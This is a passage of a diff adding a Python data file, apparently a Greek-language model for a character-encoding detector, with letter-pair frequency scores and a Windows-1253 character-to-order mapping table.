'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 2, # 'ό' + 26: 3, # 'ύ' + 27: 1, # 'ώ' + }, + 4: { # 'ο' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 2, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 2, # 'α' + 29: 3, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 3, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 2, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 2, # 'ω' + 19: 1, # 'ό' + 26: 3, # 'ύ' + 27: 2, # 'ώ' + }, + 9: { # 'π' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 3, # 'λ' + 10: 0, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 2, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 2, # 'ύ' + 27: 3, # 'ώ' + }, + 8: { # 'ρ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 2, # 'β' + 20: 3, # 'γ' + 21: 2, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 3, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 1, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 3, # 'ο' + 9: 2, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 2, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 14: { # 'ς' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 7: { # 'σ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 3, # 'β' + 20: 0, # 'γ' + 21: 2, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 3, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 2, # 'λ' + 10: 3, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 2, # 'ώ' + }, + 2: { # 'τ' + 60: 0, # 'e' + 55: 2, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 2, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 2, # 'κ' + 16: 2, # 'λ' + 10: 3, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 2, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 12: { # 'υ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 3, # 'ή' + 15: 2, # 'ί' + 1: 3, # 'α' + 29: 2, # 'β' + 20: 3, # 'γ' + 21: 2, # 'δ' + 3: 2, # 'ε' + 32: 2, # 'ζ' + 13: 2, # 'η' + 25: 3, # 'θ' + 5: 2, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 2, # 'ω' + 19: 2, # 'ό' + 26: 0, # 'ύ' + 27: 2, # 'ώ' + }, + 28: { # 'φ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 2, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 1, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 1, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 2, # 'ύ' + 27: 2, # 'ώ' + }, + 23: { # 'χ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 2, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 2, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 2, # 'μ' + 6: 3, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 42: { # 'ψ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 1, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 2, # 'τ' + 12: 1, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 24: { # 'ω' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 1, # 'ά' + 18: 0, # 'έ' + 22: 2, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 2, # 'β' + 20: 3, # 'γ' + 21: 2, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 3, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 19: { # 'ό' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 3, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 1, # 'ε' + 32: 2, # 'ζ' + 13: 2, # 'η' + 25: 2, # 'θ' + 5: 2, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 1, # 'ξ' + 4: 2, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 26: { # 'ύ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 2, # 'α' + 29: 2, # 'β' + 20: 2, # 'γ' + 21: 1, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 3, # 'θ' + 5: 0, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 2, # 'χ' + 42: 2, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 27: { # 'ώ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 1, # 'β' + 20: 0, # 'γ' + 21: 3, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 1, # 'η' + 25: 2, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 1, # 'ξ' + 4: 0, # 'ο' + 9: 2, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 1, # 'φ' + 23: 1, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, +} + +# 255: Undefined characters that did not exist in training text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 +# 251: Control characters + +# Character Mapping Table(s): +WINDOWS_1253_GREEK_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 82, # 'A' + 66: 100, # 'B' + 67: 104, # 'C' + 68: 94, # 'D' + 69: 98, # 'E' + 70: 101, # 'F' + 71: 116, # 'G' + 72: 102, # 'H' + 73: 111, # 'I' + 74: 187, # 'J' + 75: 117, # 'K' + 76: 92, # 'L' + 77: 88, # 'M' + 78: 113, # 'N' + 79: 85, # 'O' + 80: 79, # 'P' + 81: 118, # 'Q' + 82: 105, # 'R' + 83: 83, # 'S' + 84: 67, # 'T' + 85: 114, # 'U' + 86: 119, # 'V' + 87: 95, # 'W' + 88: 99, # 'X' + 89: 109, # 'Y' + 90: 188, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 72, # 'a' + 98: 70, # 'b' + 99: 80, # 'c' + 100: 81, # 'd' + 101: 60, # 'e' + 102: 96, # 'f' + 103: 93, # 'g' + 104: 89, # 'h' + 105: 68, # 'i' + 106: 120, # 'j' + 107: 97, # 'k' + 108: 77, # 'l' + 109: 86, # 'm' + 110: 69, # 'n' + 111: 55, # 'o' + 112: 78, # 'p' + 113: 115, # 'q' + 114: 65, # 'r' + 115: 66, # 's' + 116: 58, # 't' + 117: 76, # 'u' + 118: 106, # 'v' + 119: 103, # 'w' + 120: 87, # 'x' + 121: 107, # 'y' + 122: 112, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 255, # '€' + 129: 255, # None + 130: 255, # '‚' + 131: 255, # 'ƒ' + 132: 255, # '„' + 133: 255, # '…' + 134: 255, # '†' + 135: 255, # '‡' + 136: 255, # None + 137: 255, # '‰' + 138: 255, # None + 139: 255, # '‹' + 140: 255, # None + 141: 255, # None + 142: 255, # None + 143: 255, # None + 144: 255, # None + 145: 255, # '‘' + 146: 255, # '’' + 147: 255, # '“' + 148: 255, # '”' + 149: 255, # '•' + 150: 255, # '–' + 151: 255, # '—' + 152: 255, # None + 153: 255, # '™' + 154: 255, # None + 155: 255, # '›' + 156: 255, # None + 157: 255, # None + 158: 255, # None + 159: 255, # None + 160: 253, # '\xa0' + 161: 233, # '΅' + 162: 61, # 'Ά' + 163: 253, # '£' + 164: 253, # '¤' + 165: 253, # '¥' + 166: 253, # '¦' + 167: 253, # '§' + 168: 253, # '¨' + 169: 253, # '©' + 170: 253, # None + 171: 253, # '«' + 172: 253, # '¬' + 173: 74, # '\xad' + 174: 253, # '®' + 175: 253, # '―' + 176: 253, # '°' + 177: 253, # '±' + 178: 253, # '²' + 179: 253, # '³' + 180: 247, # '΄' + 181: 253, # 'µ' + 182: 253, # '¶' + 183: 36, # '·' + 184: 46, # 'Έ' + 185: 71, # 'Ή' + 186: 73, # 'Ί' + 187: 253, # '»' + 188: 54, # 'Ό' + 189: 253, # '½' + 190: 108, # 'Ύ' + 191: 123, # 'Ώ' + 192: 110, # 'ΐ' + 193: 31, # 'Α' + 194: 51, # 'Β' + 195: 43, # 'Γ' + 196: 41, # 'Δ' + 197: 34, # 'Ε' + 198: 91, # 'Ζ' + 199: 40, # 'Η' + 200: 52, # 'Θ' + 201: 47, # 'Ι' + 202: 44, # 'Κ' + 203: 53, # 'Λ' + 204: 38, # 'Μ' + 205: 49, # 'Ν' + 206: 59, # 'Ξ' + 207: 39, # 'Ο' + 208: 35, # 'Π' + 209: 48, # 'Ρ' + 210: 250, # None + 211: 37, # 'Σ' + 212: 33, # 'Τ' + 213: 45, # 'Υ' + 214: 56, # 'Φ' + 215: 50, # 'Χ' + 216: 84, # 'Ψ' + 217: 57, # 'Ω' + 218: 120, # 'Ϊ' + 219: 121, # 'Ϋ' + 220: 17, # 'ά' + 221: 18, # 'έ' + 222: 22, # 'ή' + 223: 15, # 'ί' + 224: 124, # 'ΰ' + 225: 1, # 'α' + 226: 29, # 'β' + 227: 20, # 'γ' + 228: 21, # 'δ' + 229: 3, # 'ε' + 230: 32, # 'ζ' + 231: 13, # 'η' + 232: 25, # 'θ' + 233: 5, # 'ι' + 234: 11, # 'κ' + 235: 16, # 'λ' + 236: 10, # 'μ' + 237: 6, # 'ν' + 238: 30, # 'ξ' + 239: 4, # 'ο' + 240: 9, # 'π' + 241: 8, # 'ρ' + 242: 14, # 'ς' + 243: 7, # 'σ' + 244: 2, # 'τ' + 245: 12, # 'υ' + 246: 28, # 'φ' + 247: 23, # 'χ' + 248: 42, # 'ψ' + 249: 24, # 'ω' + 250: 64, # 'ϊ' + 251: 75, # 'ϋ' + 252: 19, # 'ό' + 253: 26, # 'ύ' + 254: 27, 